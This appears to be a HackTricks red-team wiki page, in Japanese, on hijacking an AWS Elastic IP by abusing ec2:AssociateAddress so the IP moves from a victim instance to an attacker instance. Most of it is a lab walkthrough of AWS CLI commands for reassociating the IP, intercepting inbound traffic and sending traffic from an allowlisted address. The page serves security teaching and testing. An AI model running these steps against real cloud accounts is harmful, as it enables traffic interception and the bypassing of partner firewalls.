AWS - Elastic IP Hijack for Ingress/Egress IP Impersonation

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

概要

ec2:AssociateAddress(任意で ec2:DisassociateAddress)を悪用して、victim instance/ENI から attacker instance/ENI に Elastic IP (EIP) を再関連付けします。これにより、EIP 宛ての着信トラフィックは attacker にリダイレクトされ、また attacker は許可リストに登録されたパブリックIP を使って発信トラフィックを生成し、外部パートナーのファイアウォールを回避できます。

前提条件

  • 同一アカウント/VPC 内の対象 EIP allocation ID。
  • あなたが制御する attacker instance/ENI。
  • 権限:
  • ec2:DescribeAddresses
  • ec2:AssociateAddress が EIP allocation-id と attacker instance/ENI に対して必要
  • ec2:DisassociateAddress(任意)。注意: --allow-reassociation は前のアタッチメントから自動的にディスアソシエイトします。

攻撃

変数

REGION=us-east-1
ATTACKER_INSTANCE=<i-attacker>
VICTIM_INSTANCE=<i-victim>
  1. victimのEIPを割り当てるか特定する (labが新しいEIPを割り当ててvictimにアタッチする)
ALLOC_ID=$(aws ec2 allocate-address --domain vpc --region $REGION --query AllocationId --output text)
aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $VICTIM_INSTANCE --region $REGION
EIP=$(aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION --query Addresses[0].PublicIp --output text)
  1. EIPが現在ターゲットのサービスを指していることを確認する(例: bannerの確認)
curl -sS http://$EIP | grep -i victim
  1. EIPをattackerに再関連付けする(victimから自動的に切り離される)
aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $ATTACKER_INSTANCE --allow-reassociation --region $REGION
  1. EIPがattacker serviceに解決されていることを確認する
sleep 5; curl -sS http://$EIP | grep -i attacker

証拠(移動された関連付け):

aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION \
--query Addresses[0].AssociationId --output text

影響

  • Inbound impersonation: hijacked EIP への全てのトラフィックが attacker instance/ENI に配信される。
  • Outbound impersonation: Attacker は allowlisted public IP から発信されたように見えるトラフィックを開始できる(partner/external source IP filters を回避するのに有用)。

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする